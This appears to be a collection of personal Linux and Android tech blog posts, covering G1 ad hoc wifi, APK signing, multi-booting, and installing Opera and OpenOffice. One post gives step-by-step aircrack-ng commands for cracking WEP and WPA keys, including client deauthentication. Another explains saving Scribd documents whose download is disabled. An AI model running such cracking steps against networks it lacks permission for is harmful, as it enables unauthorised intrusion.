Powered by WPeMatico
I want to rename all files with .txt to .sh and wildcards don’t work to well with the rm command
here’s the trick:
for file in *.txt; do mv $file `basename $file .txt`.sh; done
The G1 does not connect to ad hoc networks through the wifi manager but we can hack it to allow scanning and connecting to ad hocs. I’ve been trying to figure this out for the longest time. Before you begin, you need to root your G1 and be comfortable using the command line. We will be editing tiwlan.ini and wpa_supplicant.conf. I will be showing you 2 ways to edit the files. Using vi and adb.
edit tiwlan.ini to read:
WiFiAdHoc = 1
dot11DesiredSSID = HydtechAdhoc (or whatever name u want)
dot11DesiredBSSType = 0
edit wpa_supplicant.conf to read:
ap_scan=2 (tells wpa_supplicant to scan hidden networks)
scan_ssid=1 (for APs with multiple SSIDS)
wep_key0=”MyWepKey” (replace MyWepKey with your key)
How to edit using vi:
Download terminal from the market and type:
su (for superuser mode)
mount -o rw,remount -t yaffs2 /dev/block/mtdblock3 /system (mount partition as writable)
vi /system/etc/wifi/tiwlan.ini (open tiwlan.ini in vi text editor)
now type A to enter editing mode, finish editing your file and hold trackball+1 to stop editing. To save and exit type :wq
vi /data/misc/wifi/wpa_supplicant.conf (open file for editing)
edit with the settings given above and exit and don’t forget to change the partition back to read only
mount -o ro,remount -t yaffs2 /dev/block/mtdblock3 /system
How to edit files with adb on Ubuntu:
Connect your g1 to the computer using a usb cable and make sure USB debugging in enabled
Open up terminal and type
cd /home/hydtech/[android sdk folder]/tools (navigate to the directory which has you adb tool)
get the files from the device and place them in the root folder
sudo ./adb pull /system/etc/wifi/tiwlan.ini /
sudo ./adb pull /data/misc/wifi/wpa_supplicant.conf /
edit and save the files with the settings provided above using gedit or kate or what have you
make the partition read writable
mount -o rw,remount -t yaffs2 /dev/block/mtdblock3 /system
place the files back onto the device
sudo ./adb push /tiwlan.ini /system/etc/wifi/tiwlan.ini
sudo ./adb push /wpa_supplicant.conf /data/misc/wifi/wpa_supplicant.conf
make partition read only again
mount -o ro,remount -t yaffs2 /dev/block/mtdblock3 /system
shows connected but no internet
1. I was having a problem where the connection would keep disconnecting and when it would connect, it wouldn’t load pages. To fix this I had to disable my WEP key.
SSID not showing
2. If the SSID isn’t showing up in the list, make sure you have ap_scan=2 in your wpa_supplicant
3. Try enabling static IP if DHCP isn’t working for you. It’s under advanced menu.
Sponsored by Chromehost.net
At first injection with the Intel pro wireless cards was impossible. Then came the ipwraw driver. Now, we no longer need the ipwraw as the iwl3945 card supports injection. Most linux distros now ship with this driver.
Follow these steps for a succesful WEP crack in Ubuntu:
download necessary files
sudo apt-get install aircrack-ng
place card in monitor mode
sudo airmon-ng start wlan0
sudo aireplay-ng -9 -e linksys -a 00:14:6C:7E:40:80 mon0
(0% means injection not working)
capture data and write to file called output
sudo airodump-ng -c 9 –bssid 00:14:6C:7E:40:80 -w output mon0
sudo aireplay-ng -1 0 -e linksys -a 00:14:6C:7E:40:80 -h 00:0F:B5:88:AC:82 mon0
sudo aireplay-ng -3 -b 00:14:6C:7E:40:80 -h 00:0F:B5:88:AC:82 mon0
sudo aircrack-ng -z -b 00:14:6C:7E:40:80 output*.cap
For WPA cracking follow this:
sudo airmon-ng start wlan0
sudo airodump-ng -c 9 –bssid 00:14:6C:7E:40:80 -w psk mon0
deauth connected client
sudo aireplay-ng -0 1 -a 00:14:6C:7E:40:80 -c 00:0F:B5:FD:FB:C2 mon0
sudo aircrack-ng -w password.lst -b 00:14:6C:7E:40:80 psk*.cap
These are just refreshers. For more help check www.aircrack-ng.org
Once you’ve completed your package with Eclipse and you want to publish it to the android market, google requires that you sign it. For this step you need two tools. Keytool and jarsigner can be obtained through JDK.
Open up terminal and install jdk:
sudo apt-get install sun-java6-jdk
Use keytool to make yourself a new key:
keytool -genkey -v -keystore mykeystore.keystore -alias aliasname -keyalg RSA -validity 10000
genkey – generate the key
v – verbose mode
keystore – select name of keystore
alias – creates an alias for the key
keyalg – specifies the encryption algorithm used to generate the key. Ex: RSA, DSA
validity – when should the key expire in days? (google requires like a 50 year expiry)
The keytool will walk you through the process of choosing a password and name. Once the key is made, you need to sign the apk with jarsigner using this key:
jarsigner -verbose -keystore mykeystore.keystore programfile.apk aliasname
keystore – keystore containing your private key
verbose – verbose mode
You will be prompted for your password. You are ready to go.
I’ve been using Ubuntu dual booted with windows for quite a while now, but due to driver compatibility issues and lack of knowledge used windows for the most part. Since Ubuntu 8.10, I’ve completely switched over to Ubuntu and love it. Mostly because it’s FREE! Windows is still hanging around in case I might need it for some program in the future. I use Thunderbird as my email client and Opera as my web browser. One of my main concerns was sharing the profiles for these programs, but NTFS-3G has made life easier.
After feeling comfortable with Ubuntu, I decided I needed to expand my knowledge by learning to use KDE; different package managers like yum and yast; and the possibility of having multiple Linux Oses on single partitions. After doing some research, I decided I should either go with openSuse or Fedora. Then, I figured: “Why not both?” and leave Ubuntu and Windows intact. I downloaded the Live CD’s for both Oses. The Live CD installation has less programs and tools installed compared to the DVD installation.
I opened Gparted on Ubuntu to make extra partitions for Fedora and openSuse, but I realized I can’t have more than 4 primary partitions without hacking the MBR. I deleted the Linux Swap partition because I already have 2GB of RAM. I resized my Windows and Storage partitions and made one extra partition on which I would install both Fedora and openSuse. I split the partition into 2 logical partitions of about 5GB each.
Since my Lenovo does not have an optical drive, I had to use an external USB drive and allow the BIOS to boot from it
Popped in the Fedora Live CD and installed Fedora. I selected the first logical partition and set this location as “/” (root) and opted not to use a swap space. When it asks to install GRUB, you can choose not to or to install it at the beginning of the Root partition and not at the beginning of the whole hard drive because Ubuntu has already installed GRUB there and you might not want to write over it. I chose not to install GRUB. It was a painless install. Restarted and booted into Fedora to make sure it worked.
Next, I popped in the openSuse Live CD and installed it to the second logical partition also without swap space. Again, chose not to install GRUB. Install was again pretty simple. Booted into openSuse to make sure it worked.
Now, I had to update my GRUB to include the other Oses. I could have done it manually, but I chose to upgrade my 8.10 Intrepid to 9.04 Jaunty by hitting “Alt+F2” and typing “upgrade-manager -d”, which updated the entries in GRUB automatically.
Some users disable the option to download a document from scribd but the option to print is still available. We can use this to our advantage and save the document by printing the file to PDF.
After installing the PDF printer, go to the document you want to save on scribd. Select more -> Print
Select the PDF printer and hit print. and wait…...………. this can take upto 10-15 minutes depending on how big the file is.
Check the print status. 6 minutes and still printing……
When done, the file will be saved in the PDF folder we created and will be called _stdin_.pdf
In this tutorial I will show you how to install or update to Opera 9.64 in Ubuntu. This guide is for a beginner to the operating system and will work for any version of Ubuntu, including other Debian based linux distributions.
If you are upgrading, first check for an update under help in the browser or you can directly go to the website and download the latest version.
save the file to the desktop and close the browser.
double click the .deb file and click install package even if you are upgrading.
close the installation process and restart your browser
Instructions for Ubuntu:
Yesterday I noticed that the menu on my OpenOffice had some weird characters. I finally figured out that some of the system fonts in Ubuntu are not compatible with OO. I managed to change the fonts back by going to System -> Preferences -> Appearance -> Fonts. But it was too late. During the process I upgraded, uninstalled the whole program and reinstalled it back again. For this process, I used synaptic package manager to find everything that said openoffice and marked it for complete removal.
I could have also opened up terminal and typed:
sudo apt-get remove openoffice*.*
Then, I went to openoffice.org and downloaded the .deb file for 3.0.1 (OOo_3.0.1_LinuxIntel_install_en-US_deb.tar.gz) and extracted it to the desktop. Then I typed:
sudo dpkg -i ~/Desktop/OOO300_m15_native_packed-1_en-US.9379/DEBS/*.deb
dpkg is a tool to install, build, remove and manage Debian GNU/Linux packages. The -i option is used to install a file or in this case, several files. We selected *.deb which means select all the files with a .deb extension and install them. We could have alternatively double clicked each .deb package and installed it separately, but the command line is a much more powerful option.
Next, to install the last package stored in a different folder, I typed:
sudo dpkg -i ~/Desktop/OOO300_m15_native_packed-1_en-US.9379/DEBS/desktop-integration/openoffice.org3.0-debian-menus_3.0-9376_all.deb
I believe I could have used the –recursive or -R option and specified the directory, which would have installed all the packages in the folder including all the sub-folders.
That’s all it took.
Instructions for Fedora and openSuse:
Goto openoffice.org and Download the rpm in tar.gz format onto the Desktop
open up terminal, become root and untar the file:
tar -xvf /home/black/Desktop/OOo_3.0.1_LinuxIntel_install_wJRE_en-US.tar.gz
cd into the directory:
follow install directions: